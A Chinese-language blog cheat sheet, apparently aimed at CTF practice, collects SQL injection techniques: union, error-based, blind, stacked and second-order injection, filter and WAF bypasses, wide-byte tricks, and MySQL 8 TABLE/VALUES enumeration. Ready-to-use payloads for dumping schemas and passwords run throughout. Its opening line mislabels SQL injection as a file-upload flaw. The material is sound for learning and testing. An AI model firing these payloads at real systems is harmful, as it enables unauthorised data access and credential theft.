SQL注入汇总

- 文件上传漏洞是指在执行sql语句时,未对用户输入的参数没有经过严格的过滤处理,通过构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
sql注入分类
按照查询类型 => 字符型,数字型
- 字符型即为输入是字符串,数字型即为整型
按照注入方式分类
- union联合注入
- 报错注入
- 布尔注入
- 时间盲注
判断为数字型还是字符型
用id=1 and 1=1 和 id=1 and 1=2
提交and 1=1和提交 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入
提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入
用引号报错来判断
看报错这样根据报错信息还能确定如果是字符型 需要怎么去闭合前面的引号
1
?id=1'''
首尾两个引号为报错带的,所以闭合方式为一个单引号
其他还有以下几种闭合方式
闭合的作用
手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可
以用注释符号--+
或#
或%23
注释掉
常用函数
1 | database()查询数据库名 |
union联合注入
因为在使用union联合注入时要保证select语句列数一致
使用得通过group by 与 order by
判断列的数量(二分法
1 | id=1' group by 4;--+ |
判断回显位
要使id=-1来使前面为空错误,然后显示我们后面的select
1 | ?id=-1' union select 1,2,3; |
观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。
在查询表名与列名时使用information_schema
数据库,在其中有tables
与clolumns
两个表
其中tables
是所有表名集合columns
是所有列名集合
有些题目flag不在当前数据库
所以得查询有哪些库
1 | union select schema_name from information_schema.schemata |
查询当前数据库中有哪些表
1 | union select group_concat(table_name) from information_schema.tables where table_schema=database(); |
意思为从information_schema
这个数据库的tables
这个表中搜索table_name
条件为table_schema
等于当前数据库
查询当前数据库中users这个表有哪些列名
1 | select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'; |
从user表中查询username与password
1 | select group_concat(username,'~',password) from user; |
报错注入
extractvalue报错注入
extractvalue函数的作用是对XML文档进行查询,使用extractvalue(xml_frag,xpath_expr)函数时,如果
xpath_expr参数不符合xpath的格式,就会报错,所以我们就可以在xpath_expr中放我们所需要的语句从而实现
xml_frag:XML文档对象的名称,是一个string类型
xpath_expr:使用xpath语法格式的路径
1 | union select 1,2,extractvalue(1,concat('~',(select 1,2,database()))) #列数看情况 |
后面操作同union联合注入
==ps:==只能报32位,32位后用substring(concat(),32,32)
或right(password,30)
或mid(group_concat(flag),1,20)
updatexml报错注入
updatexml函数的作用是对XML文档进行修改,注入原理与extractvalue一样
xml_target:xml文档对象的名称,是一个string类型
xpath_expr:使用xpath的语法格式的路径
new_xml:需要更新的内容
1 | union select 1,2,updatexml(1,concat('~',(select 1,2,database(),1)),1)#列数看情况 |
==ps:==依旧只能报32位,32位后用substring(concat(),32,32)
floor报错注入
当group by写入键值的速度跟不上rand()函数运行速度的时候,在临时的虚拟统计表内
会发生写入主键重复的情况,从而引起报错
简而言之就是rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
1 | select count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from users group by a; |
将from users
,替换from information_schema.tables
在这的作用是让rand()
产生足够多次数的计算,一般使用行数比较多
的默认数据表
使用group_concat
无法显示的时候可以尝试concat
堆叠注入
==使用条件:==调用数据库函数支持执行多条SQL语句时才能够使用,利用mysqli_multi_query()函数就支持多条SQL语句同时执行
堆叠注入和union的区别在于,union后只能接select
而堆叠注入后面可以使用insert,update,create,delete等其他数据库语句
1 | show databases; |
二次注入
实行二次注入的先决条件是:我们已经将构造的恶意数据存储在数据库当中
当我们储存的恶意数据被读取进入到SQL查询语句时,会造成二次注入
防御者可能在用户输入数据时对特殊字符进行了转义处理,但是恶意数据插入到数据库后被处理的恶意数据又被还原了
当web程序调用恶意数据进行SQL查询时,发生二次注入
1 | 用户名1'union select database()# |
SQL注入思路之文件上传
==使用前提:==当前web的MySQL开放文件路径读写的权限
1 | show variables like '%secure%';用来查看mysql是否具有文件读写权限 |
该利用点需要配合文件上传漏洞一起使用,当攻击目标开放文件上传功能时,我们可以利用SQL当中的相关函数进行恶意的文件上传
DNSlog手注
DNSlog实际上算是盲注的一种,但其效率比布尔和时间盲注的要来的高
使用前提:当前web的MySQL开放文件路径读写的权限
相关函数:load_file()
读取文件(可以为一个远程地址
在访问时会先会执行select database()
然后带着结果进行dns查询,所以查看dns解析记录即可
盲注
页面没有回显位且没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入
常用函数
1 | ascii //转为ascii |
布尔盲注
页面只返回true与false两种
利用页面返回不同,逐个猜解数据
如下get
1 | import requests |
1 | import requests,string,time |
如下post
1 | import requests |
时间盲注
前提为数据库会执行命令代码只是不反馈页面信息
页面没有变化,所以通过sleep的时间来判断
sleep
被禁用benchmark(100000, SHA1("jaduiwq"));
或者笛卡尔
1 | 笛卡尔积(因为连接表是一个很耗时的操作) |
如下get
1 | import time |
等号被过滤用二分法
1 | import time |
绕过及一些知识点
过滤空格
- 用以下代替
1 | /**/,%0a,%a0,%20,%09,%0c,%0b,%0d |
- 或用括号包裹如下
或者报错注入
1
2
3
4
5
6
7
8
9
101'or(updatexml(1,concat(0x7e,(database())),1))#
1'or(extractvalue(1,concat(0x7e,(database()))))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#
1'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))#//后30位
过滤引号
使用16进制绕过
会使用到引号的地方一般是在最后的where子句中。如下面的一条SQL语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 | select column_name from information_schema.tables where table_name="users" |
这个时候如果引号被过滤了,那么上面的where
子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users
的十六进制的字符串是7573657273
。那么最后的SQL语句就变为了:
1 | select column_name from information_schema.tables where table_name=0x7573657273` |
过滤select,union
- 大小写
- 复写
- 使用<>符号绕过
1 | -- 原始注入语句 |
如果是union select
尝试堆叠注入用show
最后读数据handler
1 | show databases; |
如**[强网杯 2019]随便注
**
1 | handler `1919810931114514` open as `a`; |
==mysql8新特性==:引入了table与values
TABLE statement
与SELECT
相似,作用是列出表中所有内容
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
如下显示的 union
是 等效于以下语句:
1 | mysql> SELECT * FROM t1 UNION SELECT * FROM t2; |
与SELECT的区别:
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
可以用来获取所有表名
1 | table information_schema.schemata; |
Values statement
VALUES
是一个 DML 语句,它 以表形式返回一组一行或多行。换句话说,它 是一个表值构造函数,也可以作为一个独立的 SQL 语句。
参考官方文档
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] |
举例:
1 | mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1; |
同时
VALUES
也可以与select
语句或table
语句联合使用。
可用来判断列数,报错说明列数不对,可以代替order by
进行列数盲注
1 select * from table where id=1 union values row(1,2,3)
盲注
因为table
不能控制列数,所以如果列数不一样需要盲注
使用如下语句,盲注比较顺序是自左到右,是两个元组进行比较:
比如:(id, user ,passwd) 和 (1 , ‘Tom’, ‘123’ )
1 | select ((1,'','')<(table user limit 1)); |
注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出
例题,脚本
1 | import requests |
采用二分法来提高盲注速度,但同样有缺点,当数据库不区分大小写时,盲注的结果会出错,我的解决办法是,使用binary
字段来区分大小写。
大小写的问题。在对最后数据表的字段爆破的时候,最好加上binary,我猜测可能是因为这个:
lower_case_table_names 的值:
如果设置为 0,表名将按指定方式存储,并且在对比表名时区分大小写。
如果设置为 1,表名将以小写形式存储在磁盘上,在对比表名时不区分大小写。
如果设置为 2,则表名按给定格式存储,但以小写形式进行比较。
此选项还适用于数据库名称和表别名。有关其他详细信息,请参阅第 9.2.3 节 “标识符区分大小写”。
由于 MySQL 最初依赖于文件系统来作为其数据字典,因此默认设置是依赖于文件系统是否 区分大小写。
在 Windows 上,默认值为 1。在 macOS 上,默认值是 2。在 Linux 上,不支持值 2;服 务器会将该值设置为 0。
因为题目大多是在linux上,所以这个的值为0,所以爆表名库名之类的时候,即使不加上binary,也会区分大小写,但是对于真正的数据表,如果不加上binary的话,是不区分大小写的,所以会出问题。
1.判断列数
使用order by语句判断:
1 | 1 order by 2--+ |
2.使用values判断回显位
1 | -1 union values row(1,2)--+ |
3.爆库爆表爆字段爆数据
爆
database()
1
2-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s爆所有库,通过limit控制第几个库名
```r information_schema.schemata`表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名
1 and (‘def’,’m’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显正常
1 and (‘def’,’n’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显错误
得到第1个数据库名的第一个字符为m
1 | #### 4. 爆数据表 |
前两个字段都是确定的,第二个是数据库名。
注意:还需要爆破数据表所在的行也就是
limit 310
5. 爆字段名
information_schema.columns
表有22列 ,方法和上面一样,同样需要爆破数据列所在的行数
1 | 1 and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3380,1)--+ #users表第一个字段为id |
6. 爆数据
通过limit控制数据的行
1 | #table users limit 1也就是table users limit 0,1 |
过滤注释符
--+,#,%23
?id=1' and '1'='1
或其他符号闭合右边
过滤and,or
大小写绕过如
?id=1' anD 1=1--+
复写
?id=1' anandd 1=1--+
&&代替and
||代替or
宽字节绕过addslashes()
- GBKB编码
GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从 8140至FEFE(剔除xx7F),首节在81-FE之间,尾字节在40-FE之间,共23940个码位,共收录 了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1 中的全部中日韩汉字,并包含了BIG5编码中的所有汉字 - 字符\的ASCII码为5C,在其低位范围内,就可能被转换为一个服务器数据库不识别的汉字,能和 它组合的字符如0xdf,%815c.%825c%835c等都可以进行宽字节注入。
- Mysql在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符,和经过转义 过后多出来的组合成两个字符,变成Mysql数据库不识别的汉字字符,导致对单引号、双引号的 转义失败,使其参数闭合。
- 输入%df,本来会转义单引号’为,但(%5c)编码位为92,%df的编码位为223, %df%5c符合GBK取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字,这 样
\
就会失去应有的作用
==ps:==宽字节注入的前提:对方Mysql数据库的编码方式是GBK编码,并且发送请求时声明客户端用的也是GBK
编码
在前面加%df
对返回进行限制绕过
返回逻辑
1 | //检查结果是否有flag |
利用REPLACE(string, old_substring, new_substring)
payload如replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')
联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
去重复替换union select
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
1 | select * from users where id=-1 union distinct select 1,2,3,4 from users; |
使用 join 绕过逗号
使用 join 自连接两个表
1 | union select 1,2 |
变为
1 | union select * from (select 1)a join (select 2)b |
a 和 b 分别是表的别名
1 | select * from users where id=-1 union select 1,2,3,4; |
可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截。
过滤information_schema
获得表名
sys.schema_auto_increment_columns
在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。可以看出不仅保存了表名和数据库名,还保存了自增字段的列名。
所以当我们通过database()获得数据库名后就可以利用这个视图去获得带有自增列的表名和列名。schema_table_statistics_with_buffer
schema_table_statistics
schema_index_statistics
mysql.innodb_table_stats
==mysql8新增==:information_schema.TABLESPACES_EXTENSIONS
从mysql8.0.21开始出现的,但是table
关键字是出现在8.0.19之后,所以如果想要使用,还是要试试这个表有没有,如果题目的mysql版本正好在8.0.19-8.0.21之间的话,就不能用了。
这个表好用就好用在,它直接存储了数据库和数据表:
1 | mysql> table information_schema.TABLESPACES_EXTENSIONS; |
看到最后的users/users
,因为我创建了一个users数据库,里面有users数据表。所以有了这个,就会方便很多。
jion报错获取列名
这一部分要依赖于重复的列名导致的报错,从而获得列名。
构造要依赖于上文得到的表名信息
假设已经获得了security的一个表名为user
1 | select * from (select * from users as a join users b)c; |
可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名
1 | mysql> select * from (select * from users as a join users b using(id))c; |
如果没有报错,表示已经获得所有的列名
查询会得到所有的数据
无列名注入
1 | 1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3 |
通过ascii位移来获得flag
1 | select (select "a") > (select "abcdef") |
工具
sqlmap
1 | 快速入门;SQLmap(常规)使用步骤 |
1 | post请求 |
1 | 获取用户 |
1 | 获取用户密码 |
1 | WAF绕过 |
1 | 其他 |
- 标题: SQL注入汇总
- 作者: tiran
- 创建于 : 2025-06-25 18:41:50
- 更新于 : 2025-06-25 20:06:37
- 链接: https://tiran.cc/2025/06/25/SQL注入汇总/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。